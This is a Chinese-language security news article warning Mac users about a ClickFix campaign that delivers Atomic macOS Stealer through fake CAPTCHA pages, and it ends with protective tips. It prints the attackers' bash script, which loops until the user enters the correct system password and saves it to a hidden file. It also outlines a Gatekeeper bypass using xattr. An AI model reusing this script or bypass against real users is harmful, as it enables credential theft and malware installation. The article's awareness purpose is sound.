警惕！新型Atomic恶意软件借验证码入侵Mac，苹果用户紧急避坑

导语

    曾几何时，Mac用户总爱炫耀“我这辈子没见过杀毒软件”，如今这句话却成了最危险的flag。网络安全研究人员最近发出紧急警报：一场针对苹果用户的大规模恶意软件攻击正在蔓延，攻击者利用名为 “ClickFix” 的社会工程策略，诱骗用户下载 Atomic macOS Stealer（AMOS） 信息窃取程序。

    令人担忧的是，仅过去一年Mac恶意软件数量已暴增300%，苹果引以为傲的安全防线正被黑客层层击破。

一.完美骗局：从“验证码错误”到系统沦陷

    这场攻击的起点，看起来再平常不过。当用户访问伪装成美国电信提供商Spectrum的网站（如“panel-spectrum[.]net”或“spectrum-ticket[.]net”）时，会看到一个要求完成hCaptcha验证的页面，提示需要“检查连接安全性”才能继续。

    但无论用户如何操作，页面都会弹出 “CAPTCHA verification failed” （验证码验证失败）的错误信息，随后建议用户点击一个 “Alternative Verification”（替代验证）按钮。

一旦点击，精心设计的陷阱立即启动：

1. 恶意命令被悄无声息地复制到剪贴板：用户毫无察觉

2. 显示量身定制的操作指南：根据用户操作系统显示不同指令

3. 对Mac用户的致命诱导：引导用户打开终端（Terminal）并运行恶意shell脚本

二.致命脚本：密码窃取与系统沦陷

    当Mac用户按照指示在终端运行脚本后，真正的噩梦开始。脚本会反复要求用户输入系统密码，直到输入正确为止。以下是黑客使用的核心密码窃取代码：

#!/bin/bash
username=$(whoami)
while true; do
    echo -n “System Password: ”
    read password
    echo
    if dscl . -authonly “$username” “$password” >/dev/null 2>&1; then
        echo -n “$password” > /tmp/.pass
        break
    else
        echo “Incorrect password! Try again.”
    fi
done

    这段代码利用macOS原生的dscl命令验证密码真伪，用户输入的正确密码会被存储在/tmp/.pass文件中。

获得密码后，攻击进入第二阶段：

1. 下载AMOS恶意软件

2. 使用窃取的密码执行sudo -S xattr -c命令，移除文件的隔离属性，绕过苹果的Gatekeeper安全机制

3. 执行恶意二进制文件，彻底控制受害者的Mac

三.谁在幕后？俄语黑客与草率线索

    安全研究人员在分析恶意软件源代码时发现了俄语注释，表明这很可能是俄语网络犯罪团伙所为。

    虽然攻击手法专业，但攻击者部署的钓鱼网站却暴露出一些破绽：

• 平台指令混乱：向Linux用户代理显示PowerShell命令

• 向Windows和Mac用户同时显示“按住Windows键+R”的提示

• 前端逻辑存在多处不一致

    安全研究员Koushik Pal指出：“交付站点中逻辑实施不当，如跨平台指令不匹配，表明基础设施是仓促搭建的。”

四.为什么这次攻击如此危险？

    与以往单纯窃取个人信息的恶意软件不同，AMOS窃取活动具有更严重的潜在威胁：

1. 企业级危害：获取的macOS系统密码可能被用于访问企业VPN、内部系统和资源，为攻击者打开进入公司网络的大门

2. 社交工程攻击：盗取账户后，黑客会利用受害者身份实施 “角色扮演”式诈骗，欺骗联系人列表中的亲友同事

3. 安全机制失效：恶意软件使用macOS原生命令窃取凭证并绕过安全措施，传统安全软件难以检测

4. 跨平台特性：同一钓鱼活动针对不同操作系统提供定制化攻击载荷，Windows用户会被诱导执行PowerShell命令

五.ClickFix：黑客的“万能钥匙”攻击手法

    Atomic Stealer攻击只是利用ClickFix技术的众多恶意活动之一。过去一年，采用这种手法的攻击活动激增，成为黑客突破安全防线的“利器”。

ClickFix攻击的经典流程：

    用户访问恶意链接显示虚假验证码提示验证失败诱导点击“替代验证”复制恶意命令到剪贴板显示执行指令用户执行命令系统被入侵

    安全公司Darktrace发现，ClickFix攻击已在欧洲、中东、非洲和美国的客户环境中广泛出现。这些活动不断演变，但最终目标始终是投放恶意载荷——从木马、信息窃取程序到勒索软件。

    就在最近，还有攻击者仿冒Booking.com，针对酒店连锁和餐饮服务行业发起钓鱼邮件攻击，同样使用虚假验证码传播恶意软件。

苹果用户自救指南

    面对日益狡猾的Mac恶意软件，仅靠苹果内置防护已不足够。以下防护措施至关重要：

1. 警惕“验证失败”陷阱：遇到验证码错误后要求“替代验证”的网站，立即关闭页面

2. 绝不盲从终端指令：任何要求你在终端输入密码的网页指令，一律视为高危操作

3. 启用双重认证：为所有重要账户（尤其是Apple ID）开启双因素认证

4. 定期检查系统更新：每周确认macOS是否更新至最新版本，及时修补漏洞

5. 戒除破解软件依赖：盗版软件和破解工具是恶意软件传播主要渠道

6. 安装专业安全软件：选择信誉良好的Mac安全解决方案，提供实时防护

7. 敏感操作三思而行：对“限时免费”、“老板急件”、“系统崩溃警告”等诱导性信息保持警惕

    安全专家强调：“这世上没有攻不破的系统，只有不设防的用户。”苹果的安全神话已被打破，用户需清醒认识到：在黑客眼中，裸奔的Mac已成为最诱人的攻击目标。

原文始发于微信公众号（道玄网安驿站）：警惕！新型Atomic恶意软件借“验证码”入侵Mac，苹果用户紧急避坑